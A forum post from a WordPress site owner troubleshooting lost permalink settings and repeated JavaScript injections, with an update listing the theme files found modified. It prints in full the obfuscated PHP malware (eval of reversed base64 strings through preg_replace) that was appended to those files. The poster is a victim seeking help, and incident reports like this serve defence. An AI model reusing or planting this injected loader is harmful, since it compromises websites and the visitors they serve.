Javascript injections and permalinks settings lost

(Sorry for the long post.)

In the last 3-4 days, I’ve noticed recurring 404 errors in my WP website.

Each time, resaving the permalinks, the problem disappears, but after few hours, it comes back.

Usually users doesn’t notice the issue, as WPSuperCache is saving me (as long as I notice the issue on time).

Something is making WP losing my permalink settings, but I can’t find out what is it.

In the last month the website has been also attacked by some malware/trojan/whatever (javascript injections).

The steps I’ve took are:

– Replacing WP files
– Installing some security plugins (WordPress Firewall, wp-security-scan)
– Followed step-by-step several tutorial on how to secure my WP installation (like setting proper permissions to files and folders, editing appropriately the .htaccess file, etc)
– Removed (actually renamed) some critical files (/wp-admin/install.php, /wp-admin/upgrade.php, etc.)

The issue keeps showing up (both permalinks and antivirus alerts, with consequents Google’s banning).

Sundays, comparing all original WP files with the ones on my server, I’ve eventually found out that a file in wp-includes/ folder had a cryptic line at the end (unfortunately I don’t remember which file was, but I’m sure the line wasn’t supposed to be there). I’ve then restored this file, trusting that the problem was solved.
To be sure, I’ve changed all my wordpress and MySql passwords.

However, the day after, the javascript injection reappeared.
I thought it was a caching problem, so I’ve cleaned the cache, but then, the days after it reappeared again and since then I’ve got the permalinks issue as well.

So, first of all, I don’t know if the permalinks issue is related to the attacks I’m getting. Second, both the issues are driving me crazy.

right now I’ve just finished comparing again all worpdress files with the ones on my server and I can’t find any difference. Therefore, if there is an issue, this is somewhere else.

I’ve started thinking that it might be some plugin, but I’ve many of them and since the issue appears randomly, I can’t even create a local copy of my website to try to find it removing all plugins, one by one.

Does anyone knows some other ways to eventually find what is causing me all these issues?

I think I did everything in my power.

If anyone dares to give a look to the website (sorry, is only in Italian and partially in French), this is the URL: https://progettoanike.org/ – as long as you use a non Windows machine, you shouldn’t have issues anyway: to get the javascript injection, you must run Windows and an antivirus.

Thanks.

UPDATE – I’ve just completed one more diff check, that includes the wp-content folder.
I can’t tell for the plugin folders yet (I should download all of them from the original site and compare with the ones on my server), however, I’ve did find differences in several files:

footer.php	wp-content\themes\twentyeleven
header.php	wp-content\themes\twentyeleven
index.php	wp-content\themes\twentyeleven
sidebar-footer.php	wp-content\themes\twentyeleven
footer.php	wp-content\themes\twentyten
header.php	wp-content\themes\twentyten
index.php	wp-content\themes\twentyten
sidebar-footer.php	wp-content\themes\twentyten
index.php	wp-content\themes

Each of these files have the following code at the very end of the original code:
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

This is clearly the effect of an attack. Perhaps is the leftover of my original attack for which I’ve created all needed security settings, barriers, etc, but since the dirty code was still there, I suppose I have to clean it up manually.

I will do it right now and later I’ll check also each plugin (at least now I know what to look for).

I’m still not sure this has to do with the permalink issue, but until I don’t solve this dirty code issue, I can’t tell for sure.

I’ll update once more this post as soon as I’ve more details.